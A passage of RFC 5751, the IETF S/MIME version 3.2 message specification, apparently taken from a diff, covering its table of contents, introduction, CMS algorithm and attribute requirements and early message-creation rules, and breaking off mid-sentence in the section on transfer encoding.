Process. + Without obtaining an adequate license from the person(s) controlling + the copyright in such materials, this document may not be modified + outside the IETF Standards Process, and derivative works of it may + not be created outside the IETF Standards Process, except to format + it for publication as an RFC or to translate it into languages other + than English. + + + + + + + + + + + + + + + + + + + + + + + + + +Ramsdell & Turner Standards Track [Page 2] + +RFC 5751 S/MIME 3.2 Message Specification January 2010 + + +Table of Contents + + 1. Introduction ....................................................4 + 1.1. Specification Overview .....................................4 + 1.2. Definitions ................................................5 + 1.3. Conventions Used in This Document ..........................6 + 1.4. Compatibility with Prior Practice of S/MIME ................7 + 1.5. Changes from S/MIME v3 to S/MIME v3.1 ......................7 + 1.6. Changes since S/MIME v3.1 ..................................7 + 2. CMS Options .....................................................9 + 2.1. DigestAlgorithmIdentifier ..................................9 + 2.2. SignatureAlgorithmIdentifier ...............................9 + 2.3. KeyEncryptionAlgorithmIdentifier ..........................10 + 2.4. General Syntax ............................................11 + 2.5. Attributes and the SignerInfo Type ........................12 + 2.6. SignerIdentifier SignerInfo Type ..........................16 + 2.7. ContentEncryptionAlgorithmIdentifier ......................16 + 3. Creating S/MIME Messages .......................................18 + 3.1. Preparing the MIME Entity for Signing, Enveloping, + or Compressing ............................................19 + 3.2. The application/pkcs7-mime Media Type .....................23 + 3.3. Creating an Enveloped-Only Message ........................25 + 3.4. Creating a Signed-Only Message ............................26 + 3.5. Creating a Compressed-Only Message ........................30 + 3.6. Multiple Operations .......................................30 + 3.7. Creating a Certificate Management Message .................31 + 3.8. Registration Requests .....................................32 + 3.9. Identifying an S/MIME Message .............................32 + 4. Certificate Processing .........................................32 + 4.1. Key Pair Generation .......................................33 + 4.2. Signature Generation ......................................33 + 4.3. Signature Verification ....................................34 + 4.4. Encryption ................................................34 + 4.5. Decryption ................................................34 + 5. IANA Considerations ............................................34 + 5.1. Media Type for application/pkcs7-mime .....................34 + 5.2. Media Type for application/pkcs7-signature ................35 + 6. Security Considerations ........................................36 + 7. References .....................................................38 + 7.1. Reference Conventions .....................................38 + 7.2. Normative References ......................................39 + 7.3. Informative References ....................................41 + Appendix A. ASN.1 Module ..........................................43 + Appendix B. Moving S/MIME v2 Message Specification to Historic + Status ................................................45 + Appendix C. Acknowledgments .......................................45 + + + + + +Ramsdell & Turner Standards Track [Page 3] + +RFC 5751 S/MIME 3.2 Message Specification January 2010 + + +1. Introduction + + S/MIME (Secure/Multipurpose Internet Mail Extensions) provides a + consistent way to send and receive secure MIME data. Based on the + popular Internet MIME standard, S/MIME provides the following + cryptographic security services for electronic messaging + applications: authentication, message integrity and non-repudiation + of origin (using digital signatures), and data confidentiality (using + encryption). As a supplementary service, S/MIME provides for message + compression. + + S/MIME can be used by traditional mail user agents (MUAs) to add + cryptographic security services to mail that is sent, and to + interpret cryptographic security services in mail that is received. + However, S/MIME is not restricted to mail; it can be used with any + transport mechanism that transports MIME data, such as HTTP or SIP. + As such, S/MIME takes advantage of the object-based features of MIME + and allows secure messages to be exchanged in mixed-transport + systems. + + Further, S/MIME can be used in automated message transfer agents that + use cryptographic security services that do not require any human + intervention, such as the signing of software-generated documents and + the encryption of FAX messages sent over the Internet. + +1.1. Specification Overview + + This document describes a protocol for adding cryptographic signature + and encryption services to MIME data. The MIME standard [MIME-SPEC] + provides a general structure for the content of Internet messages and + allows extensions for new content-type-based applications. + + This specification defines how to create a MIME body part that has + been cryptographically enhanced according to the Cryptographic + Message Syntax (CMS) RFC 5652 [CMS], which is derived from PKCS #7 + [PKCS-7]. This specification also defines the application/pkcs7-mime + media type that can be used to transport those body parts. + + This document also discusses how to use the multipart/signed media + type defined in [MIME-SECURE] to transport S/MIME signed messages. + multipart/signed is used in conjunction with the application/pkcs7- + signature media type, which is used to transport a detached S/MIME + signature. + + + + + + + + +Ramsdell & Turner Standards Track [Page 4] + +RFC 5751 S/MIME 3.2 Message Specification January 2010 + + + In order to create S/MIME messages, an S/MIME agent MUST follow the + specifications in this document, as well as the specifications listed + in the Cryptographic Message Syntax document [CMS], [CMSALG], + [RSAPSS], [RSAOAEP], and [CMS-SHA2]. + + Throughout this specification, there are requirements and + recommendations made for how receiving agents handle incoming + messages. There are separate requirements and recommendations for + how sending agents create outgoing messages. In general, the best + strategy is to "be liberal in what you receive and conservative in + what you send". Most of the requirements are placed on the handling + of incoming messages, while the recommendations are mostly on the + creation of outgoing messages. + + The separation for requirements on receiving agents and sending + agents also derives from the likelihood that there will be S/MIME + systems that involve software other than traditional Internet mail + clients. S/MIME can be used with any system that transports MIME + data. An automated process that sends an encrypted message might not + be able to receive an encrypted message at all, for example. Thus, + the requirements and recommendations for the two types of agents are + listed separately when appropriate. + +1.2. Definitions + + For the purposes of this specification, the following definitions + apply. + + ASN.1: Abstract Syntax Notation One, as defined in ITU-T + Recommendation X.680 [X.680]. + + BER: Basic Encoding Rules for ASN.1, as defined in ITU- + T Recommendation X.690 [X.690]. + + Certificate: A type that binds an entity's name to a public key + with a digital signature. + + DER: Distinguished Encoding Rules for ASN.1, as defined + in ITU-T Recommendation X.690 [X.690]. + + 7-bit data: Text data with lines less than 998 characters + long, where none of the characters have the 8th + bit set, and there are no NULL characters. + and occur only as part of a end-of- + line delimiter. + + + + + + +Ramsdell & Turner Standards Track [Page 5] + +RFC 5751 S/MIME 3.2 Message Specification January 2010 + + + 8-bit data: Text data with lines less than 998 characters, and + where none of the characters are NULL characters. + and occur only as part of a + end-of-line delimiter. + + Binary data: Arbitrary data. + + Transfer encoding: A reversible transformation made on data so 8-bit + or binary data can be sent via a channel that only + transmits 7-bit data. + + Receiving agent: Software that interprets and processes S/MIME CMS + objects, MIME body parts that contain CMS content + types, or both. + + Sending agent: Software that creates S/MIME CMS content types, + MIME body parts that contain CMS content types, or + both. + + S/MIME agent: User software that is a receiving agent, a sending + agent, or both. + +1.3. Conventions Used in This Document + + The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", + "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in this + document are to be interpreted as described in [MUSTSHOULD]. + + We define some additional terms here: + + SHOULD+ This term means the same as SHOULD. However, the authors + expect that a requirement marked as SHOULD+ will be + promoted at some future time to be a MUST. + + SHOULD- This term means the same as SHOULD. However, the authors + expect that a requirement marked as SHOULD- will be demoted + to a MAY in a future version of this document. + + MUST- This term means the same as MUST. However, the authors + expect that this requirement will no longer be a MUST in a + future document. Although its status will be determined at + a later time, it is reasonable to expect that if a future + revision of a document alters the status of a MUST- + requirement, it will remain at least a SHOULD or a SHOULD-. + + + + + + + +Ramsdell & Turner Standards Track [Page 6] + +RFC 5751 S/MIME 3.2 Message Specification January 2010 + + +1.4. Compatibility with Prior Practice of S/MIME + + S/MIME version 3.2 agents ought to attempt to have the greatest + interoperability possible with agents for prior versions of S/MIME. + S/MIME version 2 is described in RFC 2311 through RFC 2315 inclusive + [SMIMEv2], S/MIME version 3 is described in RFC 2630 through RFC 2634 + inclusive and RFC 5035 [SMIMEv3], and S/MIME version 3.1 is described + in RFC 3850, RFC 3851, RFC 3852, RFC 2634, and RFC 5035 [SMIMEv3.1]. + RFC 2311 also has historical information about the development of + S/MIME. + +1.5. Changes from S/MIME v3 to S/MIME v3.1 + + The RSA public key algorithm was changed to a MUST implement key + wrapping algorithm, and the Diffie-Hellman (DH) algorithm changed to + a SHOULD implement. + + The AES symmetric encryption algorithm has been included as a SHOULD + implement. + + The RSA public key algorithm was changed to a MUST implement + signature algorithm. + + Ambiguous language about the use of "empty" SignedData messages to + transmit certificates was clarified to reflect that transmission of + Certificate Revocation Lists is also allowed. + + The use of binary encoding for some MIME entities is now explicitly + discussed. + + Header protection through the use of the message/rfc822 media type + has been added. + + Use of the CompressedData CMS type is allowed, along with required + media type and file extension additions. + +1.6. Changes since S/MIME v3.1 + + Editorial changes, e.g., replaced "MIME type" with "media type", + content-type with Content-Type. + + Moved "Conventions Used in This Document" to Section 1.3. Added + definitions for SHOULD+, SHOULD-, and MUST-. + + Section 1.1 and Appendix A: Added references to RFCs for RSASSA-PSS, + RSAES-OAEP, and SHA2 CMS algorithms. Added CMS Multiple Signers + Clarification to CMS reference. + + + + +Ramsdell & Turner Standards Track [Page 7] + +RFC 5751 S/MIME 3.2 Message Specification January 2010 + + + Section 1.2: Updated references to ASN.1 to X.680 and BER and DER to + X.690. + + Section 1.4: Added references to S/MIME MSG 3.1 RFCs. + + Section 2.1 (digest algorithm): SHA-256 added as MUST, SHA-1 and MD5 + made SHOULD-. + + Section 2.2 (signature algorithms): RSA with SHA-256 added as MUST, + and DSA with SHA-256 added as SHOULD+, RSA with SHA-1, DSA with + SHA-1, and RSA with MD5 changed to SHOULD-, and RSASSA-PSS with + SHA-256 added as SHOULD+. Also added note about what S/MIME v3.1 + clients support. + + Section 2.3 (key encryption): DH changed to SHOULD-, and RSAES-OAEP + added as SHOULD+. Elaborated requirements for key wrap algorithm. + + Section 2.5.1: Added requirement that receiving agents MUST support + both GeneralizedTime and UTCTime. + + Section 2.5.2: Replaced reference "sha1WithRSAEncryption" with + "sha256WithRSAEncryption", "DES-3EDE-CBC" with "AES-128 CBC", and + deleted the RC5 example. + + Section 2.5.2.1: Deleted entire section (discussed deprecated RC2). + + Section 2.7, 2.7.1, Appendix A: references to RC2/40 removed. + + Section 2.7 (content encryption): AES-128 CBC added as MUST, AES-192 + and AES-256 CBC SHOULD+, tripleDES now SHOULD-. + + Section 2.7.1: Updated pointers from 2.7.2.1 through 2.7.2.4 to + 2.7.1.1 to 2.7.1.2. + + Section 3.1.1: Removed text about MIME character sets. + + Section 3.2.2 and 3.6: Replaced "encrypted" with "enveloped". Update + OID example to use AES-128 CBC oid. + + Section 3.4.3.2: Replace micalg parameter for SHA-1 with sha-1. + + Section 4: Updated reference to CERT v3.2. + + Section 4.1: Updated RSA and DSA key size discussion. Moved last + four sentences to security considerations. Updated reference to + randomness requirements for security. + + + + + +Ramsdell & Turner Standards Track [Page 8] + +RFC 5751 S/MIME 3.2 Message Specification January 2010 + + + Section 5: Added IANA registration templates to update media type + registry to point to this document as opposed to RFC 2311. + + Section 6: Updated security considerations. + + Section 7: Moved references from Appendix B to this section. Updated + references. Added informational references to SMIMEv2, SMIMEv3, and + SMIMEv3.1. + + Appendix B: Added Appendix B to move S/MIME v2 to Historic status. + +2. CMS Options + + CMS allows for a wide variety of options in content, attributes, and + algorithm support. This section puts forth a number of support + requirements and recommendations in order to achieve a base level of + interoperability among all S/MIME implementations. [CMSALG] and + [CMS-SHA2] provides additional details regarding the use of the + cryptographic algorithms. [ESS] provides additional details + regarding the use of additional attributes. + +2.1. DigestAlgorithmIdentifier + + Sending and receiving agents MUST support SHA-256 [CMS-SHA2] and + SHOULD- support SHA-1 [CMSALG]. Receiving agents SHOULD- support MD5 + [CMSALG] for the purpose of providing backward compatibility with + MD5-digested S/MIME v2 SignedData objects. + +2.2. SignatureAlgorithmIdentifier + + Receiving agents: + + - MUST support RSA with SHA-256. + + - SHOULD+ support DSA with SHA-256. + + - SHOULD+ support RSASSA-PSS with SHA-256. + + - SHOULD- support RSA with SHA-1. + + - SHOULD- support DSA with SHA-1. + + - SHOULD- support RSA with MD5. + + + + + + + + +Ramsdell & Turner Standards Track [Page 9] + +RFC 5751 S/MIME 3.2 Message Specification January 2010 + + + Sending agents: + + - MUST support RSA with SHA-256. + + - SHOULD+ support DSA with SHA-256. + + - SHOULD+ support RSASSA-PSS with SHA-256. + + - SHOULD- support RSA with SHA-1 or DSA with SHA-1. + + - SHOULD- support RSA with MD5. + + See Section 4.1 for information on key size and algorithm references. + + Note that S/MIME v3.1 clients support verifying id-dsa-with-sha1 and + rsaEncryption and might not implement sha256withRSAEncryption. Note + that S/MIME v3 clients might only implement signing or signature + verification using id-dsa-with-sha1, and might also use id-dsa as an + AlgorithmIdentifier in this field. Receiving clients SHOULD + recognize id-dsa as equivalent to id-dsa-with-sha1, and sending + clients MUST use id-dsa-with-sha1 if using that algorithm. Also note + that S/MIME v2 clients are only required to verify digital signatures + using the rsaEncryption algorithm with SHA-1 or MD5, and might not + implement id-dsa-with-sha1 or id-dsa at all. + +2.3. KeyEncryptionAlgorithmIdentifier + + Receiving and sending agents: + + - MUST support RSA Encryption, as specified in [CMSALG]. + + - SHOULD+ support RSAES-OAEP, as specified in [RSAOAEP]. + + - SHOULD- support DH ephemeral-static mode, as specified in + [CMSALG] and [SP800-57]. + + When DH ephemeral-static is used, a key wrap algorithm is also + specified in the KeyEncryptionAlgorithmIdentifier [CMS]. The + underlying encryption functions for the key wrap and content + encryption algorithm ([CMSALG] and [CMSAES]) and the key sizes for + the two algorithms MUST be the same (e.g., AES-128 key wrap algorithm + with AES-128 content encryption algorithm). As AES-128 CBC is the + mandatory-to-implement content encryption algorithm, the AES-128 key + wrap algorithm MUST also be supported when DH ephemeral-static is + used. + + + + + + +Ramsdell & Turner Standards Track [Page 10] + +RFC 5751 S/MIME 3.2 Message Specification January 2010 + + + Note that S/MIME v3.1 clients might only implement key encryption and + decryption using the rsaEncryption algorithm. Note that S/MIME v3 + clients might only implement key encryption and decryption using the + Diffie-Hellman algorithm. Also note that S/MIME v2 clients are only + capable of decrypting content-encryption keys using the rsaEncryption + algorithm. + +2.4. General Syntax + + There are several CMS content types. Of these, only the Data, + SignedData, EnvelopedData, and CompressedData content types are + currently used for S/MIME. + +2.4.1. Data Content Type + + Sending agents MUST use the id-data content type identifier to + identify the "inner" MIME message content. For example, when + applying a digital signature to MIME data, the CMS SignedData + encapContentInfo eContentType MUST include the id-data object + identifier and the media type MUST be stored in the SignedData + encapContentInfo eContent OCTET STRING (unless the sending agent is + using multipart/signed, in which case the eContent is absent, per + Section 3.4.3 of this document). As another example, when applying + encryption to MIME data, the CMS EnvelopedData encryptedContentInfo + contentType MUST include the id-data object identifier and the + encrypted MIME content MUST be stored in the EnvelopedData + encryptedContentInfo encryptedContent OCTET STRING. + +2.4.2. SignedData Content Type + + Sending agents MUST use the SignedData content type to apply a + digital signature to a message or, in a degenerate case where there + is no signature information, to convey certificates. Applying a + signature to a message provides authentication, message integrity, + and non-repudiation of origin. + +2.4.3. EnvelopedData Content Type + + This content type is used to apply data confidentiality to a message. + A sender needs to have access to a public key for each intended + message recipient to use this service. + +2.4.4. CompressedData Content Type + + This content type is used to apply data compression to a message. + This content type does not provide authentication, message integrity, + non-repudiation, or data confidentiality, and is only used to reduce + the message's size. + + + +Ramsdell & Turner Standards Track [Page 11] + +RFC 5751 S/MIME 3.2 Message Specification January 2010 + + + See Section 3.6 for further guidance on the use of this type in + conjunction with other CMS types. + +2.5. Attributes and the SignerInfo Type + + The SignerInfo type allows the inclusion of unsigned and signed + attributes along with a signature. + + Receiving agents MUST be able to handle zero or one instance of each + of the signed attributes listed here. Sending agents SHOULD generate + one instance of each of the following signed attributes in each + S/MIME message: + + - Signing Time (section (Section 2.5.1 in this document) + + - SMIME Capabilities (section (Section 2.5.2 in this document) + + - Encryption Key Preference (section (Section 2.5.3 in this + document) + + - Message Digest (section (Section 11.2 in [CMS]) + + - Content Type (section (Section 11.1 in [CMS]) + + Further, receiving agents SHOULD be able to handle zero or one + instance of the signingCertificate and signingCertificatev2 signed + attributes, as defined in Section 5 of RFC 2634 [ESS] and Section 3 + of RFC 5035 [ESS]. + + Sending agents SHOULD generate one instance of the signingCertificate + or signingCertificatev2 signed attribute in each SignerInfo + structure. + + Additional attributes and values for these attributes might be + defined in the future. Receiving agents SHOULD handle attributes or + values that they do not recognize in a graceful manner. + + Interactive sending agents that include signed attributes that are + not listed here SHOULD display those attributes to the user, so that + the user is aware of all of the data being signed. + +2.5.1. Signing Time Attribute + + The signing-time attribute is used to convey the time that a message + was signed. The time of signing will most likely be created by a + message originator and therefore is only as trustworthy as the + originator. + + + + +Ramsdell & Turner Standards Track [Page 12] + +RFC 5751 S/MIME 3.2 Message Specification January 2010 + + + Sending agents MUST encode signing time through the year 2049 as + UTCTime; signing times in 2050 or later MUST be encoded as + GeneralizedTime. When the UTCTime CHOICE is used, S/MIME agents MUST + interpret the year field (YY) as follows: + + If YY is greater than or equal to 50, the year is interpreted as + 19YY; if YY is less than 50, the year is interpreted as 20YY. + + Receiving agents MUST be able to process signing-time attributes that + are encoded in either UTCTime or GeneralizedTime. + +2.5.2. SMIME Capabilities Attribute + + The SMIMECapabilities attribute includes signature algorithms (such + as "sha256WithRSAEncryption"), symmetric algorithms (such as "AES-128 + CBC"), and key encipherment algorithms (such as "rsaEncryption"). + There are also several identifiers that indicate support for other + optional features such as binary encoding and compression. The + SMIMECapabilities were designed to be flexible and extensible so + that, in the future, a means of identifying other capabilities and + preferences such as certificates can be added in a way that will not + cause current clients to break. + + If present, the SMIMECapabilities attribute MUST be a + SignedAttribute; it MUST NOT be an UnsignedAttribute. CMS defines + SignedAttributes as a SET OF Attribute. The SignedAttributes in a + signerInfo MUST NOT include multiple instances of the + SMIMECapabilities attribute. CMS defines the ASN.1 syntax for + Attribute to include attrValues SET OF AttributeValue. A + SMIMECapabilities attribute MUST only include a single instance of + AttributeValue. There MUST NOT be zero or multiple instances of + AttributeValue present in the attrValues SET OF AttributeValue. + + The semantics of the SMIMECapabilities attribute specify a partial + list as to what the client announcing the SMIMECapabilities can + support. A client does not have to list every capability it + supports, and need not list all its capabilities so that the + capabilities list doesn't get too long. In an SMIMECapabilities + attribute, the object identifiers (OIDs) are listed in order of their + preference, but SHOULD be separated logically along the lines of + their categories (signature algorithms, symmetric algorithms, key + encipherment algorithms, etc.). + + The structure of the SMIMECapabilities attribute is to facilitate + simple table lookups and binary comparisons in order to determine + matches. For instance, the DER-encoding for the SMIMECapability for + AES-128 CBC MUST be identically encoded regardless of the + implementation. Because of the requirement for identical encoding, + + + +Ramsdell & Turner Standards Track [Page 13] + +RFC 5751 S/MIME 3.2 Message Specification January 2010 + + + individuals documenting algorithms to be used in the + SMIMECapabilities attribute SHOULD explicitly document the correct + byte sequence for the common cases. + + For any capability, the associated parameters for the OID MUST + specify all of the parameters necessary to differentiate between two + instances of the same algorithm. + + The OIDs that correspond to algorithms SHOULD use the same OID as the + actual algorithm, except in the case where the algorithm usage is + ambiguous from the OID. For instance, in an earlier specification, + rsaEncryption was ambiguous because it could refer to either a + signature algorithm or a key encipherment algorithm. In the event + that an OID is ambiguous, it needs to be arbitrated by the maintainer + of the registered SMIMECapabilities list as to which type of + algorithm will use the OID, and a new OID MUST be allocated under the + smimeCapabilities OID to satisfy the other use of the OID. + + The registered SMIMECapabilities list specifies the parameters for + OIDs that need them, most notably key lengths in the case of + variable-length symmetric ciphers. In the event that there are no + differentiating parameters for a particular OID, the parameters MUST + be omitted, and MUST NOT be encoded as NULL. Additional values for + the SMIMECapabilities attribute might be defined in the future. + Receiving agents MUST handle a SMIMECapabilities object that has + values that it does not recognize in a graceful manner. + + Section 2.7.1 explains a strategy for caching capabilities. + +2.5.3. Encryption Key Preference Attribute + + The encryption key preference attribute allows the signer to + unambiguously describe which of the signer's certificates has the + signer's preferred encryption key. This attribute is designed to + enhance behavior for interoperating with those clients that use + separate keys for encryption and signing. This attribute is used to + convey to anyone viewing the attribute which of the listed + certificates is appropriate for encrypting a session key for future + encrypted messages. + + If present, the SMIMEEncryptionKeyPreference attribute MUST be a + SignedAttribute; it MUST NOT be an UnsignedAttribute. CMS defines + SignedAttributes as a SET OF Attribute. The SignedAttributes in a + signerInfo MUST NOT include multiple instances of the + SMIMEEncryptionKeyPreference attribute. CMS defines the ASN.1 syntax + for Attribute to include attrValues SET OF AttributeValue. A + SMIMEEncryptionKeyPreference attribute MUST only include a single + + + + +Ramsdell & Turner Standards Track [Page 14] + +RFC 5751 S/MIME 3.2 Message Specification January 2010 + + + instance of AttributeValue. There MUST NOT be zero or multiple + instances of AttributeValue present in the attrValues SET OF + AttributeValue. + + The sending agent SHOULD include the referenced certificate in the + set of certificates included in the signed message if this attribute + is used. The certificate MAY be omitted if it has been previously + made available to the receiving agent. Sending agents SHOULD use + this attribute if the commonly used or preferred encryption + certificate is not the same as the certificate used to sign the + message. + + Receiving agents SHOULD store the preference data if the signature on + the message is valid and the signing time is greater than the + currently stored value. (As with the SMIMECapabilities, the clock + skew SHOULD be checked and the data not used if the skew is too + great.) Receiving agents SHOULD respect the sender's encryption key + preference attribute if possible. This, however, represents only a + preference and the receiving agent can use any certificate in + replying to the sender that is valid. + + Section 2.7.1 explains a strategy for caching preference data. + +2.5.3.1. Selection of Recipient Key Management Certificate + + In order to determine the key management certificate to be used when + sending a future CMS EnvelopedData message for a particular + recipient, the following steps SHOULD be followed: + + - If an SMIMEEncryptionKeyPreference attribute is found in a + SignedData object received from the desired recipient, this + identifies the X.509 certificate that SHOULD be used as the X.509 + key management certificate for the recipient. + + - If an SMIMEEncryptionKeyPreference attribute is not found in a + SignedData object received from the desired recipient, the set of + X.509 certificates SHOULD be searched for a X.509 certificate with + the same subject name as the signer of a X.509 certificate that can + be used for key management. + + - Or use some other method of determining the user's key management + key. If a X.509 key management certificate is not found, then + encryption cannot be done with the signer of the message. If + multiple X.509 key management certificates are found, the S/MIME + agent can make an arbitrary choice between them. + + + + + + +Ramsdell & Turner Standards Track [Page 15] + +RFC 5751 S/MIME 3.2 Message Specification January 2010 + + +2.6. SignerIdentifier SignerInfo Type + + S/MIME v3.2 implementations MUST support both issuerAndSerialNumber + and subjectKeyIdentifier. Messages that use the subjectKeyIdentifier + choice cannot be read by S/MIME v2 clients. + + It is important to understand that some certificates use a value for + subjectKeyIdentifier that is not suitable for uniquely identifying a + certificate. Implementations MUST be prepared for multiple + certificates for potentially different entities to have the same + value for subjectKeyIdentifier, and MUST be prepared to try each + matching certificate during signature verification before indicating + an error condition. + +2.7. ContentEncryptionAlgorithmIdentifier + + Sending and receiving agents: + + - MUST support encryption and decryption with AES-128 CBC + [CMSAES]. + + - SHOULD+ support encryption and decryption with AES-192 CBC and + AES-256 CBC [CMSAES]. + + - SHOULD- support encryption and decryption with DES EDE3 CBC, + hereinafter called "tripleDES" [CMSALG]. + +2.7.1. Deciding Which Encryption Method to Use + + When a sending agent creates an encrypted message, it has to decide + which type of encryption to use. The decision process involves using + information garnered from the capabilities lists included in messages + received from the recipient, as well as out-of-band information such + as private agreements, user preferences, legal restrictions, and so + on. + + Section 2.5.2 defines a method by which a sending agent can + optionally announce, among other things, its decrypting capabilities + in its order of preference. The following method for processing and + remembering the encryption capabilities attribute in incoming signed + messages SHOULD be used. + + - If the receiving agent has not yet created a list of + capabilities for the sender's public key, then, after verifying + the signature on the incoming message and checking the + timestamp, the receiving agent SHOULD create a new list + containing at least the signing time and the symmetric + capabilities. + + + +Ramsdell & Turner Standards Track [Page 16] + +RFC 5751 S/MIME 3.2 Message Specification January 2010 + + + - If such a list already exists, the receiving agent SHOULD verify + that the signing time in the incoming message is greater than + the signing time stored in the list and that the signature is + valid. If so, the receiving agent SHOULD update both the + signing time and capabilities in the list. Values of the + signing time that lie far in the future (that is, a greater + discrepancy than any reasonable clock skew), or a capabilities + list in messages whose signature could not be verified, MUST NOT + be accepted. + + The list of capabilities SHOULD be stored for future use in creating + messages. + + Before sending a message, the sending agent MUST decide whether it is + willing to use weak encryption for the particular data in the + message. If the sending agent decides that weak encryption is + unacceptable for this data, then the sending agent MUST NOT use a + weak algorithm. The decision to use or not use weak encryption + overrides any other decision in this section about which encryption + algorithm to use. + + Sections 2.7.1.1 through 2.7.1.2 describe the decisions a sending + agent SHOULD use in deciding which type of encryption will be applied + to a message. These rules are ordered, so the sending agent SHOULD + make its decision in the order given. + +2.7.1.1. Rule 1: Known Capabilities + + If the sending agent has received a set of capabilities from the + recipient for the message the agent is about to encrypt, then the + sending agent SHOULD use that information by selecting the first + capability in the list (that is, the capability most preferred by the + intended recipient) that the sending agent knows how to encrypt. The + sending agent SHOULD use one of the capabilities in the list if the + agent reasonably expects the recipient to be able to decrypt the + message. + +2.7.1.2. Rule 2: Unknown Capabilities, Unknown Version of S/MIME + + If the following two conditions are met: + + - the sending agent has no knowledge of the encryption + capabilities of the recipient, and + + - the sending agent has no knowledge of the version of S/MIME of + the recipient, + + + + + +Ramsdell & Turner Standards Track [Page 17] + +RFC 5751 S/MIME 3.2 Message Specification January 2010 + + + then the sending agent SHOULD use AES-128 because it is a stronger + algorithm and is required by S/MIME v3.2. If the sending agent + chooses not to use AES-128 in this step, it SHOULD use tripleDES. + +2.7.2. Choosing Weak Encryption + + All algorithms that use 40-bit keys are considered by many to be weak + encryption. A sending agent that is controlled by a human SHOULD + allow a human sender to determine the risks of sending data using a + weak encryption algorithm before sending the data, and possibly allow + the human to use a stronger encryption method such as tripleDES or + AES. + +2.7.3. Multiple Recipients + + If a sending agent is composing an encrypted message to a group of + recipients where the encryption capabilities of some of the + recipients do not overlap, the sending agent is forced to send more + than one message. Please note that if the sending agent chooses to + send a message encrypted with a strong algorithm, and then send the + same message encrypted with a weak algorithm, someone watching the + communications channel could learn the contents of the strongly + encrypted message simply by decrypting the weakly encrypted message. + +3. Creating S/MIME Messages + + This section describes the S/MIME message formats and how they are + created. S/MIME messages are a combination of MIME bodies and CMS + content types. Several media types as well as several CMS content + types are used. The data to be secured is always a canonical MIME + entity. The MIME entity and other data, such as certificates and + algorithm identifiers, are given to CMS processing facilities that + produce a CMS object. Finally, the CMS object is wrapped in MIME. + The Enhanced Security Services for S/MIME [ESS] document provides + descriptions of how nested, secured S/MIME messages are formatted. + ESS provides a description of how a triple-wrapped S/MIME message is + formatted using multipart/signed and application/pkcs7-mime for the + signatures. + + S/MIME provides one format for enveloped-only data, several formats + for signed-only data, and several formats for signed and enveloped + data. Several formats are required to accommodate several + environments, in particular for signed messages. The criteria for + choosing among these formats are also described. + + The reader of this section is expected to understand MIME as + described in [MIME-SPEC] and [MIME-SECURE]. + + + + +Ramsdell & Turner Standards Track [Page 18] + +RFC 5751 S/MIME 3.2 Message Specification January 2010 + + +3.1. Preparing the MIME Entity for Signing, Enveloping, or Compressing + + S/MIME is used to secure MIME entities. A MIME entity can be a sub- + part, sub-parts of a message, or the whole message with all its sub- + parts. A MIME entity that is the whole message includes only the + MIME message headers and MIME body, and does not include the RFC-822 + header. Note that S/MIME can also be used to secure MIME entities + used in applications other than Internet mail. If protection of the + RFC-822 header is required, the use of the message/rfc822 media type + is explained later in this section. + + The MIME entity that is secured and described in this section can be + thought of as the "inside" MIME entity. That is, it is the + "innermost" object in what is possibly a larger MIME message. + Processing "outside" MIME entities into CMS content types is + described in Sections 3.2, 3.4, and elsewhere. + + The procedure for preparing a MIME entity is given in [MIME-SPEC]. + The same procedure is used here with some additional restrictions + when signing. The description of the procedures from [MIME-SPEC] is + repeated here, but it is suggested that the reader refer to that + document for the exact procedure. This section also describes + additional requirements. + + A single procedure is used for creating MIME entities that are to + have any combination of signing, enveloping, and compressing applied. + Some additional steps are recommended to defend against known + corruptions that can occur during mail transport that are of + particular importance for clear-signing using the multipart/signed + format. It is recommended that these additional steps be performed + on enveloped messages, or signed and enveloped messages, so that the + message can be forwarded to any environment without modification. + + These steps are descriptive rather than prescriptive. The + implementer is free to use any procedure as long as the result is the + same. + + Step 1. The MIME entity is prepared according to the local + conventions. + + Step 2. The leaf parts of the MIME entity are converted to canonical + form. + + Step 3. Appropriate transfer encoding is applied to the leaves of + the MIME entity. + + + + + + +Ramsdell & Turner Standards Track [Page 19] + +RFC 5751 S/MIME 3.2 Message Specification January 2010 + + + When an S/MIME message is received, the security services on the + message are processed, and the result is the MIME entity. That MIME + entity is typically passed to a MIME-capable user agent where it is + further decoded and presented to the user or receiving application. + + In order to protect outer, non-content-related message header fields + (for instance, the "Subject", "To", "From", and "Cc" fields), the + sending client MAY wrap a full MIME message in a message/rfc822 + wrapper in order to apply S/MIME security services to these header + fields. It is up to the receiving client to decide how to present + this "inner" header along with the unprotected "outer" header. + + When an S/MIME message is received, if the top-level protected MIME + entity has a Content-Type of message/rfc822, it can be assumed that + the intent was to provide header protection. This entity SHOULD be + presented as the top-level message, taking into account header + merging issues as previously discussed. + +3.1.1. Canonicalization + + Each MIME entity MUST be converted to a canonical form that is + uniquely and unambiguously representable in the environment where the + signature is created and the environment where the signature will be + verified. MIME entities MUST be canonicalized for enveloping and + compressing as well as signing. + + The exact details of canonicalization depend on the actual media type + and subtype of an entity, and are not described here. Instead, the + standard for the particular media type SHOULD be consulted. For + example, canonicalization of type text/plain is different from + canonicalization of audio/basic. Other than text types, most types + have only one representation regardless of computing platform or + environment that can be considered their canonical representation. + In general, canonicalization will be performed by the non-security + part of the sending agent rather than the S/MIME implementation. + + The most common and important canonicalization is for text, which is + often represented differently in different environments. MIME + entities of major type "text" MUST have both their line endings and + character set canonicalized. The line ending MUST be the pair of + characters , and the charset SHOULD be a registered charset + [CHARSETS]. The details of the canonicalization are specified in + [MIME-SPEC]. + + Note that some charsets such as ISO-2022 have multiple + representations for the same characters. When preparing such text + for signing, the canonical representation specified for the charset + MUST be used. + + + +Ramsdell & Turner Standards Track [Page 20] + +RFC 5751 S/MIME 3.2 Message Specification January 2010 + + +3.1.2. Transfer Encoding + + When generating any of the secured MIME entities below, except the + signing using the multipart/signed format, no transfer encoding is + required at all. S/MIME implementations MUST be able to deal with + binary MIME objects. If no Content-Transfer-Encoding header field is + present, the transfer encoding is presumed to be 7BIT. + + S/MIME implementations SHOULD however use transfer encoding described + in Section 3.1.3 for all MIME entities they secure. The reason for + securing only 7-bit MIME entities, even for enveloped data that are + not exposed to the transport, is that it allows the MIME entity to be + handled in any environment without changing it. For example, a + trusted gateway might remove the envelope, but not the signature, of + a message, and then forward the signed message on to the end + recipient so that they can verify the signatures directly. If the + transport internal to the site is not 8-bit clean, such as on a wide- + area network with a single mail gateway, verifying the signature will + not be possible unless the original MIME entity was only 7-bit data. + + S/MIME implementations that "know" that all intended recipients are + capable of handling inner (all but the outermost) binary MIME 